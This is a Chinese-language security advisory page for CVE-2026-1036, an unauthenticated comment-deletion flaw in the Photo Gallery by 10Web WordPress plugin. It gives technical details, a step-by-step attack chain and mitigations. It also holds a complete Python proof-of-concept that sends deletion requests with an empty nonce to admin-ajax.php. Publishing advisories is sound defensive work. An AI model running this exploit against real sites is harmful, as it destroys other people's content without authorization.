IPBUF安全漏洞报告
English
CVE-2026-1036 CVSS 5.3 中危

CVE-2026-1036 WordPress Photo Gallery插件未授权评论删除漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-1036
漏洞类型
缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Photo Gallery by 10Web – Mobile-Friendly Image Gallery (WordPress插件)

相关标签

缺少权限检查WordPress插件漏洞CVE-2026-1036Photo Gallery by 10Web未授权访问评论删除Broken Access ControlAJAX安全WordPress安全

漏洞概述

CVE-2026-1036是WordPress平台上一款广受欢迎的图片画廊插件Photo Gallery by 10Web的安全漏洞。该插件为WordPress网站提供移动友好的图片画廊功能,支持创建和管理美观的图片展示界面,在WordPress插件市场中拥有大量安装用户。

该漏洞的根本原因在于插件的delete_comment()函数缺少适当的权限验证机制。在正常的Web应用程序设计中,删除操作应当验证当前用户是否具有执行该操作的权限,例如检查用户是否登录、用户角色是否具有删除权限、以及用户是否有权删除特定资源。然而,该插件的开发者在实现delete_comment()函数时疏忽了这一关键的安全检查步骤。

具体而言,delete_comment()函数没有对调用者进行身份验证和权限确认,这意味着任何访问该函数的请求都会被直接执行,而不论请求者是否具有合法的身份或权限。这一设计缺陷使得攻击者可以在不登录、不具备任何权限的情况下,构造恶意请求来删除网站上的任意图片评论。

值得注意的是,该插件的评论功能仅在Pro版本中提供,因此此漏洞仅影响使用Photo Gallery Pro版本且开启了评论功能的WordPress网站。对于仅使用免费版本或未启用评论功能的网站,此漏洞不构成直接威胁。攻击者可利用此漏洞批量删除网站的用户评论,可能导致网站内容丢失、用户体验下降,严重时可能影响网站的正常运营和用户信任度。

技术细节

从代码层面分析,该漏洞位于插件前端控制器文件BWGControllerGalleryBox.php的第173行附近。delete_comment()函数在实现时直接接收用户提交的参数(如评论ID),并执行数据库删除操作,而没有调用WordPress的current_user_can()函数或其他权限检查机制来验证请求者是否具有管理评论的权限。

攻击者可以利用以下技术细节进行漏洞利用:首先,需要识别目标WordPress网站是否安装并启用了存在漏洞的Photo Gallery插件版本;其次,通过分析插件的AJAX处理机制或直接访问相关端点,定位到delete_comment()函数的调用路径;最后,构造包含目标评论ID的HTTP请求,由于函数缺少CSRF令牌验证和权限检查,请求将直接被服务器执行。

从CVSS向量分析来看,该漏洞的攻击复杂度低(AC:L),无需认证(PR:N),无需用户交互(UI:N),但其影响范围仅限于数据的完整性(I:L),机密性(C:L)和可用性(A:N)影响均为低或无。这表明攻击虽然容易实施,但造成的影响相对有限,主要是数据破坏而非系统完全沦陷。

防御此类漏洞的关键是在所有涉及数据修改的操作中添加适当的权限检查。对于WordPress插件而言,应当使用current_user_can()函数验证用户权限,并在处理AJAX请求时同时验证nonce令牌以防止CSRF攻击。此外,建议使用WordPress提供的评论管理API而非直接操作数据库,以提高安全性和兼容性。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标WordPress网站是否安装了Photo Gallery by 10Web插件,并通过检查页面源代码或请求特征确认插件版本小于等于1.8.36
STEP 2
步骤2
功能识别:攻击者定位插件的评论功能端点,确认评论功能是否启用(仅Pro版本),并找到delete_comment() AJAX处理函数
STEP 3
步骤3
评论枚举:攻击者通过访问画廊页面或使用自动化工具枚举获取目标评论的ID,为后续删除操作准备参数
STEP 4
步骤4
构造恶意请求:攻击者构造包含comment_id参数的HTTP POST请求,指向/wp-admin/admin-ajax.php端点,action参数设置为bwg_delete_comment
STEP 5
步骤5
触发漏洞:攻击者发送构造的请求,由于delete_comment()函数缺少权限检查和nonce验证,服务器直接执行删除操作
STEP 6
步骤6
验证结果:攻击者检查响应确认评论已被删除,可重复执行步骤4-6批量删除其他评论

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-1036 PoC - Unauthorized Comment Deletion # Target: Photo Gallery by 10Web WordPress Plugin <= 1.8.36 # Note: Comment functionality only available in Pro version def delete_comment(target_url, comment_id): """ Delete arbitrary comments without authentication Args: target_url: Base URL of the WordPress site comment_id: ID of the comment to delete (integer) """ # Target the AJAX endpoint used by the plugin endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the request data # The delete_comment function expects 'action' and comment ID parameter data = { 'action': 'bwg_delete_comment', 'comment_id': comment_id, 'bwg_nonce': '' # Plugin may not properly validate nonce } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: print(f"[*] Sending deletion request for comment ID: {comment_id}") print(f"[*] Target: {endpoint}") response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text print(f"[+] Response: {result}") # Check if deletion was successful if 'deleted' in str(result).lower() or 'success' in str(result).lower(): print(f"[!] Comment {comment_id} may have been deleted successfully") return True print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def enumerate_comments(target_url): """ Enumerate available comment IDs by accessing gallery pages """ print("[*] Enumerating gallery pages to find comment IDs...") # This is a simplified enumeration approach # In practice, you may need to parse gallery HTML for comment links galleries_url = f"{target_url}/?bwg_search_gallery=true" try: response = requests.get(galleries_url, timeout=10) # Parse response to find comment IDs # Implementation depends on specific gallery structure print("[*] Gallery enumeration requires further implementation") except Exception as e: print(f"[-] Enumeration error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-1036-poc.py <target_url> <comment_id>") print("Example: python cve-2026-1036-poc.py http://example.com 1") sys.exit(1) target = sys.argv[1] comment_id = int(sys.argv[2]) print(f"[*] CVE-2026-1036 PoC - Photo Gallery Comment Deletion") print(f"[*] Target: {target}") delete_comment(target, comment_id)

影响范围

Photo Gallery by 10Web (WordPress插件) <= 1.8.36 (Pro版本)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:首先,限制对/wp-admin/admin-ajax.php端点的访问,仅允许登录用户访问;其次,使用Web应用防火墙(WAF)规则阻止异常的bwg_delete_comment请求;第三,禁用或限制插件的评论功能直到补丁可用;第四,启用WordPress的评论审核机制并定期备份数据库,以便在遭受攻击后快速恢复;最后,监控服务器日志中的异常AJAX请求模式,及时发现和阻止攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表